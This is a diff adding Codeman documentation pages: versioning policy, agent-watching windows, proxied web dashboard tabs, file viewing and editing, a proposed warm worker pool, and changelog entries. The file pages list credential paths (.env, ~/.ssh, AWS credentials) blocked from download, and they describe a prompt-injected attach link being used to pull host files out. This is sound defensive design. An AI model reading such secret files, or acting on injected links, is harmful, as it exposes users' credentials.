+Additive changes are **not** breaking: new endpoints, new optional fields, new error codes,
+new SSE events. Genuinely breaking API changes would ship under a new prefix rather than
+changing `/api/v1`.
+
+## Not covered
+
+These can change in a minor or even patch release:
+
+1. **The `~/.codeman/` state file formats.** Migrations are made on a best-effort basis and
+   have been done across renames, but the on-disk shape is not a contract. Do not write
+   tooling against it.
+2. **Internal TypeScript modules.** The npm package is CLI-only. There is no stable library
+   entry point, and importing it programmatically is unsupported.
+3. **Experimental and opt-in features**, whatever the app's version: gesture control, agent
+   teams, and anything labelled experimental in the UI or docs.
+
+## Deprecation
+
+- Additive changes are preferred over breaking ones.
+- A covered surface slated for removal is deprecated first: it keeps working for at least one
+  minor release, with a runtime warning and a changelog note pointing at the replacement,
+  then is removed in the next major.
+- Backwards-compatibility shims are kept until a major boundary.
+
+## Releases
+
+Releases are managed with changesets. Every release:
+
+- Bumps the version and updates
+  [`CHANGELOG.md`](https://github.com/Ark0N/Codeman/blob/master/CHANGELOG.md).
+- Publishes to npm as `aicodeman`.
+- Cuts a GitHub release, tagged `codeman@X.Y.Z`.
+- **Credits its contributors and bug reporters by name** in the release notes.
+
+There is no fixed cadence. Patches ship when fixes are ready, which in practice is often.
+
+## Which version am I on?
+
+```bash
+codeman --version
+```
+

+# Watching Agents Work
+
+Modern agents fan out. A single Claude session can be running six subagents, and the parent
+terminal shows you almost none of it. Codeman surfaces that hidden work as live windows,
+panels, and after-the-fact summaries.
+
+Everything on this page is Claude-only. It reads Claude Code's transcripts and team state;
+the other CLIs expose no equivalent.
+
+![Subagent windows](https://raw.githubusercontent.com/Ark0N/Codeman/master/docs/images/subagent-windows-20260724.png)
+
+## Subagent windows
+
+When a Claude session spawns subagents, each one gets its own floating window with a live
+transcript: what it was asked to do, what it is doing, and what it returned.
+
+- Windows are draggable and resizable, and their positions persist across reloads.
+- A connection line links each window to the session tab that spawned it, so with four
+  sessions running you can still tell whose worker is whose.
+- Closing a window does not stop the subagent. It only stops you watching it.
+
+This is the feature that makes a fan-out legible. Without it, a lead session that spawned
+eight workers looks like a stalled terminal for several minutes.
+
+## Session lineage arcs
+
+The tab strip draws a coloured arc from a parent tab to any tab it spawned, one colour per
+child. That covers the other direction of fan-out: not subagents inside one session, but
+whole sessions started by an agent through the API.
+
+Desktop only, on by default, and toggled in **App Settings → Appearance**. Arcs are skipped
+for tabs scrolled out of view.
+
+See [Driving Codeman From An Agent](Driving-Codeman-From-An-Agent) for the spawning side.
+
+## Agent teams
+
+Claude Code's experimental agent teams appear as teammates alongside subagents. Enable them
+in the CLI's own environment:
+
+```bash
+CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1
+```
+
+and turn the per-case **Agent Teams** toggle on in the case settings gear.
+
+Codeman watches the team directory and matches teammates to the session leading them.
+Teammates are in-process threads rather than separate CLI processes, so they show up as
+windows, not tabs.
+
+Notes and the experiment log:
+[`docs/agent-teams/`](https://github.com/Ark0N/Codeman/tree/master/docs/agent-teams).
+
+## Ultracode and workflow runs
+
+When Claude runs a Workflow, dozens of agents can be in flight at once. The completion
+artifact for a run is only written at the **end**, so a live run would otherwise be
+invisible until it finished. Codeman synthesizes the in-flight view from the transcripts and
+lets the real artifact supersede it when it lands.
+
+Two independent toggles, both off by default:
+
+| Setting                | Shows                                     |
+| ---------------------- | ----------------------------------------- |
+| Ultracode panel        | A docked panel listing the run's agents.  |
+| Ultracode windows      | Floating windows, like subagents.         |
+
+Turning on either starts the watcher.
+
+## Reading the answer, not the terminal
+
+**Last Response** (header button, opt-in) renders the agent's last answer as scrollable text
+rather than terminal output. It exists mostly for phones, where reading a long answer in a
+terminal viewport is painful. **More** loads additional context.
+
+## After the fact
+
+| Surface            | Answers                                                        |
+| ------------------ | -------------------------------------------------------------- |
+| **Away Digest**    | What happened while I was gone?                                 |
+| **Run summary**    | What did this run actually do?                                   |
+| **Lifecycle log**  | When did sessions start, exit, or get killed, and why?           |
+| **Token stats**    | What did it cost?                                                |
+
+The Away Digest aggregates the lifecycle log, run summary events, live sessions, token
+statistics, and recent subagents into one view. It is the right first thing to open in the
+morning after an overnight run.
+
+All of these header buttons are opt-in: **App Settings → Header & Panels**.
+
+## Performance
+
+The design target is 20 sessions and 50 agent windows at 60fps. If you routinely run more
+than that, expect the browser rather than the server to be the limit, and close windows you
+are not reading.
+
+## Gotchas
+
+- **A session pointed at a relocated Claude config directory goes blind here.** Transcripts
+  written outside `~/.claude/projects` are invisible to the watchers, so subagent windows,
+  the ultracode panel, the response viewer, and Read My Mind all stop working for that
+  session. Symlink `projects` back into the shared tree to fix it. See
+  [Agent CLIs](Agent-CLIs).
+- **Closing a window does not cancel the agent.** Nothing on this page controls agents; it
+  observes them.
+- **Windows are opt-in for ultracode, automatic for subagents.**

+# Web Tabs
+
+Open any dashboard you run, Grafana, Uptime Kuma, Portainer, a status page on port 4000, as
+a tab beside your agent sessions. Codeman becomes one mission control instead of Codeman
+plus a pile of browser tabs.
+
+A web tab is **not a session**. There is no PTY, no tmux, and no respawn behind it, the same
+way a docker case is not a run mode.
+
+## Adding one
+
+1. Click the chevron next to **Run**.
+2. Under **Web / URL**, pick **Add URL**.
+3. Name it, paste the URL, optionally hit **Test**, and **Save**.
+
+It opens immediately and appears in the dropdown from then on. Web tabs share the tab strip
+with sessions, continue the same `Alt+1` to `Alt+9` numbering, and carry a globe icon so
+they never read as a running agent.
+
+**Closing a tab is not deleting it.** The tab's `x` closes; the `x` on its **dropdown row**
+deletes the saved dashboard. Each dropdown row also has a gear for editing the URL.
+
+Switching tabs does not reload a dashboard. Frames stay alive in the background, so one that
+took a while to authenticate is still there when you come back. Past six live frames, the
+least recently viewed is dropped to bound memory.
+
+## Why dashboards are proxied
+
+A plain cross-origin iframe fails three ways at once in the setup Codeman actually ships in:
+
+| Blocker             | What happens                                                                                  |
+| ------------------- | ----------------------------------------------------------------------------------------------- |
+| **Mixed content**   | Production is HTTPS, and browsers hard-block `http://` iframes on an HTTPS page. No override, and none at all on iOS Safari. |
+| **Framing refusal** | Grafana, Portainer, Home Assistant and many others send `X-Frame-Options: DENY`.                |
+| **Codeman's CSP**   | `default-src 'self'` blocks a cross-origin frame before it starts.                              |
+
+So by default the dashboard is served **through Codeman's own origin**: the browser loads a
+path on Codeman, and Codeman relays to the dashboard, stripping the framing refusal,
+rewriting redirects, cookies and root-absolute URLs, and relaying WebSockets so live panels
+still update.
+
+A useful side effect: the dashboard is fetched **by the Codeman server**, so a tailnet-only
+or localhost-only dashboard works from any device that can reach Codeman, including a phone
+that is not on your tailnet.
+
+There is also a `direct` mode, a plain cross-origin iframe, which is cheaper but only works
+for an HTTPS dashboard that permits framing.
+
+## The Test button, and what it does not test
+
+**Test** probes from the server and tells you which mode applies. It verifies
+**server-to-upstream reachability and nothing else**. It does not exercise the browser
+sandbox, cookies, CORS, CSP, or any reverse proxy in front of Codeman.
+
+A passing Test does not guarantee the embedded page renders.
+
+## The sandbox, and when to turn it off
+
+Because a proxied dashboard is served from Codeman's own address, the browser considers it
+same-origin with Codeman. Unchecked, its JavaScript could read the Codeman page and call the
+API that spawns agents.
+
+So the frame is sandboxed **without** same-origin access by default. The page runs in an
+opaque origin: it cannot touch Codeman, and it gets no cookies or local storage of its own.
+
+Unchecking **Open sandboxed** grants a real origin. Do that only for a dashboard you fully
+trust, and only when you need it, which in practice means one with its own login that stores
+a session in a cookie.
+
+Either way, Codeman never forwards its own credentials upstream. The `Authorization` header
+and the `codeman_session` cookie are stripped on the way out, so `CODEMAN_PASSWORD` cannot
+leak into a dashboard.
+
+## Known incompatibility: cookie-authenticated reverse proxies
+
+If Codeman itself sits behind Cloudflare Access, Authelia, oauth2-proxy, or similar, a
+**sandboxed** tab may render unstyled or broken while the Codeman page around it works fine.
+
+The reason: an opaque-origin frame's stylesheet, script, and API requests do not carry the
+proxy's authentication cookie. The proxy redirects them to the login provider, and CORS or
+CSP kills them there.
+
+Trusted mode keeps a real origin and the cookie, so it works. Test cannot catch this, because
+it checks the server's reach, not the browser's.
+
+## Security notes
+
+The proxy authenticates on an in-memory capability embedded in the path, which is why it is
+exempt from the cookie and Origin checks that every API route enforces. That exemption is
+fenced to safe methods and non-API paths, and there is a test pinning it in place.
+
+Two failure modes that only appear inside a sandboxed frame, and that curl can never
+reproduce, are handled: runtime-built root-absolute URLs escaping the injected base, and
+same-host requests being CORS-checked with a null origin. Both present as the dashboard's own
+"Failed to fetch" while the page itself renders fine.

+# Working With Files
+
+Reading, editing, attaching, and previewing files without leaving the dashboard. Useful on
+a desktop; on a phone it is the difference between reviewing an agent's work and waiting
+until you get home.
+
+## The File Viewer
+
+A panel that browses the active session's working directory. Its header button is on by
+default; if it is missing, re-enable it in **App Settings → Header & Panels**.
+
+It renders what it can:
+
+| Kind                     | Behaviour                                                                 |
+| ------------------------ | ------------------------------------------------------------------------- |
+| Text and code            | Syntax-aware preview. Long files are truncated in plain preview.           |
+| Images                   | Inline.                                                                    |
+| Audio and video          | Inline with a working scrub bar, because range requests are supported.     |
+| PDF and Office documents | Converted for preview when a converter is available.                       |
+| Anything else            | Download.                                                                  |
+
+Caps: 10 MB for text preview, 50 MB for raw and download. Sensitive paths (`.env`, anything
+matching credentials, `~/.ssh`, AWS credentials) are blocked from download, and SVG and HTML
+are served as downloads rather than rendered, so they cannot execute in the page.
+
+Closing the preview pauses and unloads any playing media. A video that keeps playing after
+you close the panel means you are on an old version.
+
+## Editing in place
+
+Text files can be edited and saved directly in the viewer. Click the pencil in the preview
+header, edit, **Save**.
+
+The guardrails are worth knowing, because they are what makes editing safe rather than
+convenient:
+
+- **Extension allowlist**, not a blocklist. Code, docs, config, and markup are editable.
+  Anything not on the list is not.
+- **512 KB cap** on both read and write.
+- **Edit mode never truncates.** The plain preview does truncate long files, and saving a
+  truncated buffer would silently delete the rest, so the editor loads the whole file or
+  refuses.
+- **Optimistic concurrency.** The save carries a hash of what you started from. If the file
+  changed underneath you (likely, when an agent is working in the same repo), the save is
+  rejected rather than clobbering their work.
+- **No file creation.** Writes go to a temporary file and are renamed over the original, and
+  the open never creates. Editing in place is structural, not a rule.
+- **Line endings are preserved** server-side, so editing two lines of a CRLF file does not
+  produce a whole-file diff.
+- **`.git/` is denied outright.** Hooks are executable code, and a corrupted index looks
+  unrecoverable to someone who wanted to fix a typo.
+- **Non-UTF-8 content is refused**, verified by a round-trip comparison.
+
+## Attachments
+
+Attachments are live references to files **outside** the session's workspace: a spec on your
+desktop, a PDF in Downloads, a design document elsewhere on the machine.
+
+Register one from the CLI:
+
+```bash
+codeman attach /path/to/spec.pdf
+```
+
+An attachment card appears in the session, and the file can be previewed inline. The
+attachment gets a stable id, and browser requests use that id rather than carrying absolute
+paths around.
+
+Agents can register attachments too, by emitting a `codeman://attach?...` link in their
+output. That path is **prompt-injectable by nature**, so it is force-confined to the
+session's workspace: a hostile prompt cannot use it to pull arbitrary host files into the
+event stream. The gate is an extension allowlist rather than a blocklist.
+
+Document conversion for previews is globally rate limited. Without that, ten large documents
+detected at once would fork ten multi-minute converter processes.
+
+## Clicking a path
+
+File paths in a session are links. That works in two places:
+
+- **In the terminal**, on any absolute path an agent prints.
+- **In the response viewer**, where paths are usually written as prose or in backticks. They
+  render as underlined monospace links.
+
+Clicking one opens it in the preview: images and PDFs render, video and audio play with a
+working scrub bar, documents convert, text and Markdown show inline. Log-shaped files open in
+the tail viewer instead, which follows a file that is still being written.
+
+Paths **outside** the session's workspace work too, which matters because that is where most
+of an agent's output lands: a screenshot in `/tmp`, a capture in its own scratchpad, a file in
+another checkout. Those are served through the attachment routes rather than the workspace
+ones, so the same rules apply as to any other attachment: secret trees are blocked, the
+extension allowlist decides what can be opened, and symlinks are resolved before either check.
+
+Outside the workspace the allowlist is images, video, audio, PDF, Office documents, and text
+files, where "text" is the same list the viewer will let you edit: code, config, logs, csv,
+markdown. The reasoning is that a session can already `cat` any of those, so the file suffix
+was never what kept anything secret; the path guard is. Types outside the list (`.svg`,
+`.bmp`) say so rather than failing silently, and `.html` previews as source rather than being
+rendered, so nothing served this way can execute in the page.
+
+Text previews are capped at the first 500 lines, fetched as a partial read, so clicking a
+one-gigabyte log does not try to paint one.
+
+Log-shaped files inside the workspace still open in the tail viewer, which follows a file as
+it is written. Outside the workspace they open in the preview instead: the tail viewer runs
+`tail -f`, and that is deliberately restricted to the workspace, `/var/log` and `~/logs`.
+
+Nothing is registered until you click. Opening a file this way does not add an attachment card.
+
+## The path picker
+
+For choosing a path rather than typing one. It appears in two places:
+
+- **Browse** in **Add Case → Link Existing**.
+- The **📁 Path** key on the mobile keyboard bar.
+
+It browses one directory at a time and can show hidden entries on request. The picker
+inserts the path into your prompt **without** pressing Enter, so nothing is submitted by
+accident. Its sibling **⌫ All** key clears the unsent prompt, and never sends the agent's
+`/clear` command.
+
+This is a separate file-serving surface from the viewer, with its own rules: it allowlists
+your home directory, the cases directory, and anything in `CODEMAN_FILE_PICKER_ROOTS`, and
+blocks sensitive trees. In multi-user mode a non-admin gets only their own user space as a
+root, because per-user spaces live inside the home directory and a home-directory root would
+expose everyone.
+
+## Images into a session
+
+Paste from the clipboard or drag and drop straight onto the terminal. The image is written
+where the agent can read it and the reference is inserted into your prompt. On a phone, the
+image key in the keyboard bar opens the camera or photo library.
+
+HEIC images from an iPhone are converted to JPEG on the way in.
+
+## Generated artifacts
+
+When an agent produces a file the UI can show (a chart, a diagram, a document), it can
+surface as an artifact attachment rather than a path you have to go and find.
+
+## Gotchas
+
+- **The viewer follows the active session's workspace.** Switching tabs changes what you are
+  browsing.
+- **A save can be rejected, and that is the feature.** It means the agent edited the file
+  while you were typing. Re-open, re-apply, save again.
+- **Attachments live outside the workspace on purpose.** For files inside it, just use the
+  viewer.
+- **`.env` files are readable in the viewer if the extension policy allows the preview, but
+  never downloadable.** Do not treat the viewer as a secrets boundary; treat the machine as
+  the boundary.

+# Warm worker pool: sub-second claude worker spawns
+
+Design sketch. Status: **proposed**, not started. Opt-in (`workerPoolSize`, default 0 = off); a user who touches nothing sees no change at all.
+
+---
+
+## 1. Problem and numbers
+
+Measured against prod 1.18.3 on 2026-08-15, AFTER the SKILL.md fast-path hardening
+(no recon turns), on the identical "spawn two codeman workers" prompt:
+
+- **Cold orchestrator** (fresh session, skill loaded from disk): **20.2 s** prompt to
+  final report. Breakdown: 3.9 s Skill-load turn, 6.4 s generating the one fused Bash
+  call, **4.4 s spawn call**, 5.5 s summary. Tabs appeared at 10.5 s.
+- **Warm orchestrator** (skill already in context, no Skill turn): **12.8 s**, spawn
+  call 6.0 s.
+- Inside the spawn call, session + tmux + case creation is cheap: the workers (and
+  their tabs) appeared 0.2-1.7 s in, both siblings within ~350 ms of each other. The
+  remaining **~4-5 s is claude CLI boot plus the composer-readiness wait**, paid again
+  on every cold spawn. That slice is the pool's entire target.
+
+The honest framing after the hardening: model turns dominate the skill flow (~16 of
+20 cold seconds) and no server feature can shrink those. The pool attacks the
+tool-side floor, and it has two distinct beneficiaries:
+
+- **Skill/API orchestration**: the spawn call drops from ~4.4-6 s to ~1 s. Cold runs
+  land ~16-17 s, warm ~8 s. Tab appearance barely moves for this consumer (it is
+  model-turn-bound at ~10 s cold / ~4 s warm).
+- **The UI Run button and direct quick-start callers**: a click today waits the full
+  boot + readiness before the worker can take a prompt; a pooled claim makes the tab
+  appear and the worker READY sub-second. This is the most visible win, and it
+  involves no skill at all.
+
+Target: hand out an already-ready worker in **under 1 s**.
+
+## 2. Shape
+
+A new `src/worker-pool.ts` singleton service, following the `CronService` pattern: it **reuses the existing session layer** (`SessionManager` create + the normal spawn path) and never rebuilds tmux logic.
+
+A pool member is a real claude `Session`, pre-spawned in a reserved scratch case (`~/codeman-cases/.pool-<n>`, created with the standard scaffold + hooks), already past readiness: composer drawn, hooks installed, preamble file seeded. It sits idle at the composer costing no tokens.
+
+The claim happens **transparently inside `POST /api/quick-start`**: when a request is pool-eligible (§3) and a healthy member is available, quick-start returns that member instead of cold-spawning. The agent skill, the UI Run button, and every existing caller change **nothing**. Ineligible or pool-empty requests cold-spawn exactly as today, so the pool is only ever a fast path, never a behavior change.
+
+## 3. Eligibility gate
+
+Claim only when ALL of these hold; otherwise fall through to a cold spawn:
+
+- `mode === 'claude'` (external CLIs have different readiness semantics and inject secrets via `tmux setenv` at spawn; out of scope).
+- No `envOverrides`, no `CLAUDE_CONFIG_DIR`, and `modelOverride`/`effort` unset or equal to what the pool member was spawned with. Env vars flow at spawn time and cannot be applied to a running CLI.
+- The requested case is **fresh** (does not exist yet). A linked case, an existing directory, a remote-SSH case, or a Docker case means the caller wants a specific workspace; pool members cannot provide one.
+- Single-user mode, or the requester owns the pool (v1 ships single-user only; §11).
+
+## 4. What a claim does (~300 ms)
+
+1. Pop a ready member (in-memory check-and-remove; Node's single thread makes this atomic, so two concurrent quick-starts cannot claim the same member).
+2. Health-probe it: `isPaneDead` (the existing ~750 ms-cached mux probe) plus one `capturePaneText` asserting a clean composer. A dead, limit-paused, or dirty member is recycled, and the claim tries the next member or falls through to cold spawn.
+3. Rename the session to the normal `w<n>-<case>` name, set `parentSessionId` via the existing `resolveParentSessionId()`, clear the pool flag, persist state.
+4. Emit `session_created` **now** (it was suppressed at warm-spawn time, §5). The tab appears here, sub-second after the request.
+5. Return the **pool case** as `casePath`/`workingDir` and do NOT create a directory under the requested name: an empty dir the worker's CLI does not run in is a trap (files written there are invisible to the worker at cwd), and the agent skill greps the RETURNED `casePath` for Codeman hooks before trusting the worker, so the response must point at the directory that really carries them.
+6. Kick a background refill (§6).
+
+**The identity wrinkle, stated honestly:** the session id, `CODEMAN_SESSION_ID` inside the pane, the seeded preamble file, and the CLI's cwd are all fixed at warm-spawn and survive the claim unchanged. So a claimed worker's `workingDir` is the pool dir, not `~/codeman-cases/<requested-name>`; the requested name is a **label**. The API must report the truthful `workingDir`. Transcript projHash, response viewer, subagent windows, and Read My Mind all key off the real path and keep working precisely because we do not lie about it. This is acceptable for the dominant use (ephemeral skill workers that are deleted after answering) and is documented in the skill; a caller that needs the real case as cwd is by definition not pool-eligible.
+
+**Verified skill compatibility (zero preamble changes).** Checked against the shipped 1.18.3 preamble: `spawn_worker`'s readiness probe (`_composer_up`) is a `wait-output` call with `from=buffer`, which scans output that already scrolled past before blocking, so a pooled member's long-since-drawn composer matches instantly instead of stranding a fresh-stream wait. The trust-dialog fallback never fires (members passed the dialog at warm time), and the hooks grep passes because the pool case carries the standard scaffold. Pooled and cold spawns are indistinguishable to the skill except in speed and the additive `pooled: true`.
+
+## 5. Hiding pre-claim members
+
+Pool members must be invisible until claimed or they read as ghost tabs. `Session.isPoolWorker` gates, at minimum:
+
+- `GET /api/sessions` and `GET /api/sessions/unified` (and therefore the Cmd+K palette and the session-history-index snapshot that feeds `/api/search`).
+- `session_created` SSE at warm-spawn (deferred to claim time). All other per-session SSE for a hidden member is suppressed at the broadcast call sites it would reach.
+- Push notifications and the Approvals Inbox (a warm member showing a trust dialog must recycle, not notify).
+- The phone overview / home rail (both render from the session list, so the list filter covers them).
+- The lifecycle log records `pool_warm` / `pool_claim` events rather than user-visible session history.
+
+`maxSessions` (50) **counts** pool members, and the pool refuses to warm within `poolSize + 2` of the cap so it can never starve real session creation.
+
+## 6. Refill, TTL, drain
+
+- **Refill** after each claim, debounced, at most one warm spawn in flight (a claim burst falls back to cold spawns rather than forking N CLIs at once; same reasoning as the document-conversion limiter).
+- **TTL ~30 min**: recycle members older than that so they cannot drift from settings, hooks config, or a self-updated CLI on disk.
+- **Drain and respawn** on: `claudeModel` change, hooks-config regeneration, self-update, and `workerPoolSize` changes. On server shutdown, kill pool sessions (they are stateless and ours). On boot, kill any leftover `.pool-*` tmux sessions found via `mux-sessions.json` rather than adopting them; adoption buys nothing for stateless members.
+
+## 7. Failure modes
+
+| Failure | Handling |
+| --- | --- |
+| Member died idle (PTY exit, crash) | Health probe at claim catches it; recycle + try next; PTY-exit breaker applies unchanged |
+| Member hit a usage limit while idle | `isLimitPaused` members are never handed out; recycle |
+| Composer dirty (stray keystrokes, dialog) | `capturePaneText` probe refuses it; recycle |
+| Claim race | Impossible by construction (synchronous in-memory pop) |
+| Warm spawn itself fails | Log, back off, retry on next refill tick; pool empty just means cold spawns |
+
+## 8. Cost
+
+Each warm member is one tmux session + one idle claude process (order 150-300 MB RSS; **measure before defaulting the size above 0**, including whether an idle CLI makes any background requests via its statusline refresh). Zero token cost while idle. Suggested starting size for users who opt in: 2.
+
+## 9. Settings and API surface
+
+- `workerPoolSize` (int, 0-4, default 0): **synced** setting in `SettingsUpdateSchema`. The watcher that resizes the pool on `PUT /api/settings` must resolve from `merged`, never the raw body (the partial-PUT gotcha in CLAUDE.md).
+- One internal status endpoint, `GET /api/worker-pool` (size, members' ages, claims served, fall-through count), for debugging. No new SSE events: the claim emits the existing `session_created`.
+- No new public API semantics: `/api/quick-start`'s contract is unchanged apart from a `pooled: true` field in the response data, which is additive.
+
+## 10. Considered and rejected
+
+- **Renaming the pool case dir to the requested name at claim.** Linux keeps the process cwd working across the rename (inode-based), but claude computed its transcript projHash from the old path string at boot, so transcripts, subagent windows, and the response viewer go blind, the exact failure mode the `CLAUDE_CONFIG_DIR` docs warn about. Truthful label semantics (§4) beat a clever rename.
+- **A new explicit claim endpoint.** Transparency inside quick-start means the skill, the UI, and every existing script get the speedup with zero changes; a new endpoint means new docs, new drift, and callers that must know the pool exists.
+- **Pooling external CLI modes.** Readiness there is output stabilization, secrets ride `tmux setenv` at spawn, and codex/pi composer semantics differ per CLI. Claude-only until someone measures a need.
+- **Returning quick-start at creation instead of readiness (no pool).** Would move tabs earlier on cold spawns too, but `sendwait` immediately after would then race the composer; readiness is what makes immediate tasking safe, and the pool makes the whole question moot for eligible spawns.
+
+## 11. Phasing
+
+1. **v1**: single-user, claude-only, fixed-size pool, transparent claim, status endpoint. Everything above.
+2. **v2**: per-owner pools for multi-user mode (pool members must carry an owner because ownership scoping is structural); possibly model-matched pools (one warm set per configured `claudeModel`).
+3. **Explicitly out**: warming linked/repo cases (spawning where the work is has no hooks and is the skill's documented costliest mistake; a warm pool must not make it faster to reach).
+
+## 12. Testing
+
+- Unit: pool manager logic pure and mock-driven (eligibility gate, TTL, refill debounce, drain triggers), `MockSession` from `test/mocks/`.
+- Route: `app.inject` on quick-start asserting claim vs cold-spawn per eligibility row in §3, plus the double-claim race (two concurrent injects, one pool member: exactly one `pooled: true`).
+- Live: re-run the pinned baselines against a warmed beta instance. Before (2026-08-15, prod 1.18.3, post-hardening): cold orchestrator **20.2 s** / warm **12.8 s** end to end, spawn call 4.4-6.0 s. Acceptance: spawn call under 1 s, cold ~16-17 s, warm ~8-9 s, and a UI Run click to a READY worker in under 1 s.

 # xterm-zerolag-input
 
+## 0.3.1
+
+### Patch Changes
+
+- Mobile catches up: links open from a tap, terminal text can be selected and copied, long prompts stay visible while you type. Plus Files panel search, a bundled Nerd Font symbols fallback, and a per-device terminal font setting.
+  - **Terminal and chat links work on phones** (#321): tapping a URL or file path in terminal output now opens it (new tab, file preview, or log viewer), resolved through the same provider desktop hover uses, so tap and click can never disagree about what is a link. Dialog rows and the composer keep their existing meaning. Response-viewer links open in a new tab with `rel="noopener noreferrer"` instead of navigating the dashboard away. Wrapped links open whole: the logical-line reconstruction now stitches hard wraps through the indent their continuation carries, which also fixes desktop hover-click truncating wrapped URLs.
+  - **Terminal text can be copied on touch devices** (#321): long-press selects the token under the finger, drag or tap the other end to extend, and a small bar offers Copy, Line (the whole logical line, wraps included) and dismiss. Copy works on plain-HTTP installs too. Three guards keep the keyboard down and the selection alive through the browser's own long-press handling.
+  - **A long prompt stays visible on phones** (#321): the local-echo overlay grows upward once it would run past the last visible row (a prompt taller than the screen keeps its tail, where the cursor is), and the keyboard-driven padding shrink can no longer reclaim the space the fixed toolbar and accessory bar stand in.
+  - **Files panel search** (#324): `GET /api/sessions/:id/files?q=...` answers a flat match list (name or path substring, `*`/`?` globs), recursing past non-matching directories with its own match cap on top of the existing bounds; without `q` the response is byte-identical to before. Glob queries are matched without regex so a pathological pattern cannot stall the server.
+  - **Nerd Font prompt glyphs out of the box, custom terminal font** (#320): a bundled icons-only Symbols Nerd Font Mono fallback renders powerlevel10k/starship/oh-my-posh glyphs on every device with no font install, and App Settings gains a per-device terminal font family that is prepended to the built-in stack.

+
+## 0.3.0
+
+### Minor Changes
+
+- 55bff4a: Zero-lag predictive echo for Codex sessions (mosh-style write-through prediction).
+
+  Codex's per-keystroke composer forced 1.12.2 to disable the local-echo overlay (issues #218/#219/#220/#222), leaving Codex typing at full round-trip latency on remote links. This release adds a second echo mode instead of re-enabling the first: every keystroke still goes to the PTY exactly as before (byte-identical wire behavior, pinned by vm-level and end-to-end trace-equality tests), while the new `PredictiveEchoAddon` in `xterm-zerolag-input` 0.2.0 paints the predicted glyph at the predicted cell. When the real echo lands, the prediction is confirmed and its span removed (an invisible swap); mispredictions self-heal via a two-pass mismatch cascade and a TTL.
+  - Reconciliation reads the parsed terminal buffer, never the raw stream: full-line redraws, ECH gap painting and tmux's in-place deltas all converge to the same cells. Confirmation requires the cell match PLUS a cursor advance, so placeholder glyphs and identical repaints never false-confirm; blank cells are neutral (codex clears its placeholder on the first echo).
+  - Predictions paint only while the cursor sits on the measured Codex composer row (`/^› /`, codex-cli 0.147): trust/approval modals and wrapped continuation rows get no ghosts, deliberately falling back to real echo.
+  - Ships as a SEPARATE `vendor/xterm-predictive-echo.js` bundle: the existing zerolag bundle is byte-identical (sha256-verified), and a missing or broken bundle degrades Codex to exact 1.12.2 behavior. The per-device `localEchoEnabled` toggle is the kill switch.
+  - Claude/Gemini/OpenCode/Antigravity keep buffer mode untouched; shell stays off.
+  - A post-build adversarial review added the anchor-hold rule: after an unpredicted wire edit (backspace into echoed text, cleared input, IME text commits) new predictions hold until the next parsed write, so a stale displayed cursor can never mis-anchor a run.
+  - Tests: 55 new package tests including replay suites driven by fixtures recorded from a real codex TUI through the production tmux+strip pipeline (`scripts/dev/record-codex-frames.mjs`) and a 500-iteration seeded fuzz; new vm policy/wire-neutrality suites; a 10-scenario Playwright E2E against real codex covering the #218/#219/#220/#222 retests, byte-identity, and a simulated 300ms-RTT run. The package test suite now runs in CI.
+
+## 0.2.0
+
+### Minor Changes
+
+- **New addon: `PredictiveEchoAddon`, mosh-style write-through prediction.** The second echo mode for per-keystroke TUIs (OpenAI Codex's composer, live pickers) that buffer-until-Enter starves. Every keystroke is sent by the consumer immediately and unchanged; the addon paints the predicted glyph at the predicted cell and reconciles against the PARSED terminal buffer: confirmation requires the cell match plus a cursor advance past the record, foreign non-blank content on two consecutive passes cascades a drop, blank cells are neutral, a TTL bounds everything, and scroll/resize/sustained cursor moves clear the run. Visual-only by construction; it cannot gate, delay or rewrite input.
+  - Anchor-hold rule: after an unpredicted wire edit (backspace into echoed text, cleared input, an IME text commit) new predictions hold until the next parsed write, so a stale displayed cursor can never mis-anchor a run (worst case: exactly one unpredicted keystroke).
+  - New exports: `PredictiveEchoAddon`, `PredictiveEchoOptions`, `PredictionState`, plus the long-intended `charCellWidth` / `stringCellWidth` helpers.
+  - `XtermTerminal` type gains OPTIONAL members (`buffer.active.cursorX/cursorY`, `getLine().getCell?`, `onWriteParsed?`, `onResize?`). Additive only: existing consumers and mocks are unaffected.
+  - IIFE build exposes `window.PredictiveEchoAddon` and a self-activating `window.PredictiveEchoOverlay`, alongside the unchanged `ZerolagInputAddon` / `LocalEchoOverlay` globals.
+  - Tests: 52 new (30 addon-law specs, renderer geometry, 6 replay suites driven by fixtures recorded from real codex 0.147 through tmux + the production strip, and a 500-iteration seeded fuzz with per-op invariants). `@xterm/headless` as a devDependency; runtime dependencies remain zero.
+
+## 0.1.8
+
+### Patch Changes
+
+- **Fixed: sessions failed to start on macOS with `Error: posix_spawnp failed.`** (issues #6 and #204)
+
+  `node-pty@1.1.0` publishes its macOS prebuilt helper as `prebuilds/darwin-<arch>/spawn-helper` with mode 0644, i.e. no execute bit. macOS launches every PTY through that helper, so a stock install failed on every session start. The bug is macOS-only: `spawn-helper` is a mac-only gyp target and node-pty ships no Linux prebuild, so Linux always compiles a correctly-permissioned helper from source.
+
+  The previous fix chmodded only `build/Release/spawn-helper`, which on macOS does not exist (the prebuild is used, so node-gyp never runs), and it derived that path from `require.resolve('node-pty')`, landing on `<pkg>/lib/build/Release/...`. It was a no-op on every platform.
+  - New `scripts/fix-node-pty.mjs` (also `npm run fix:node-pty`) chmods every `spawn-helper` it finds, in `build/Release`, `build/Debug` and each `prebuilds/*/`, then verifies the result by actually opening a PTY. A `require()` alone passes on a broken install, because the helper is only touched at spawn time.
+  - `postinstall` no longer force-rebuilds node-pty from source on Node 22+. That step needed Xcode command line tools, cost 30-120s on every install, and deleted the `prebuilds/` tree before compiling, so a Mac without a compiler was left with no working binary at all. A rebuild now happens only when the chmod plus spawn probe still fails, and the prebuilds tree is backed up and restored around it.
+  - New `spawnPtyWithHelperRepair()` (`src/utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts`, so an install that is already broken repairs itself on the first failed spawn and retries in-process instead of showing a dead session. Unrelated spawn errors are rethrown untouched; a second failure carries the `npm run fix:node-pty` hint.
+  - `scripts/fix-node-pty.mjs` is now in the published `files` list, so global npm installs get the repair too.
+  - Direct-PTY Claude spawns use the resolved absolute binary path (new `getClaudeBinaryPath()`) instead of the bare name `claude`, so a CLI installed outside the server's PATH still launches.
+
+  Verified end to end on macOS 26.4 arm64: a stock `npm i` reproduces `posix_spawnp failed.`, and after the fix the same install spawns a PTY successfully with the prebuilds preserved.
+
+  **Added: phone home screen (session overview)**
+
